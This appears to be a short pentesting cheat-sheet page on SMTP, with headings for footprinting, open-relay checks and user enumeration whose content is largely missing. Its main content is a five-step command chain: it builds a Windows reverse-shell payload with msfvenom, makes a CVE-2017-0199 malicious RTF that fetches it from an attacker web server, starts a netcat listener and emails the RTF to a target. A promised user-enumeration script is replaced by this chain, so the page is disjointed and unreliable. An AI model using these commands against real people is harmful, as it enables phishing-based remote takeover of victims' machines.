Simple Mail Transfer Protocol

Footprinting The Service

Nmap

Nmap - Open Relay

Enumerate users

Response codes from smtp servers may vary example code 250 & 252 is considered a valid user and smtp-user-enum checks only for 250

Without Domain

With Domain

I have came across many times where smtp-user-enum has given me false-negatives. Use the following python script

  1. msfvenom -p windows/shell_reverse_tcp LHOST=local-IP LPORT=443 -f hta-psh -o msfv.hta

  2. python2 cve-2017-0199_toolkit.py -M gen -t RTF -w MailFile.RTF -u http://local-WebServIP:Port/msfv.hta

  3. python2 -m SimpleHTTPServer 80

  4. nc -lnvp 443

  5. sendEmail -f FromEmail@example.com -t ToEmail@example.com -u "Subject" -m "Message" -a MailFile.RTF -s TargetIP -v

Last updated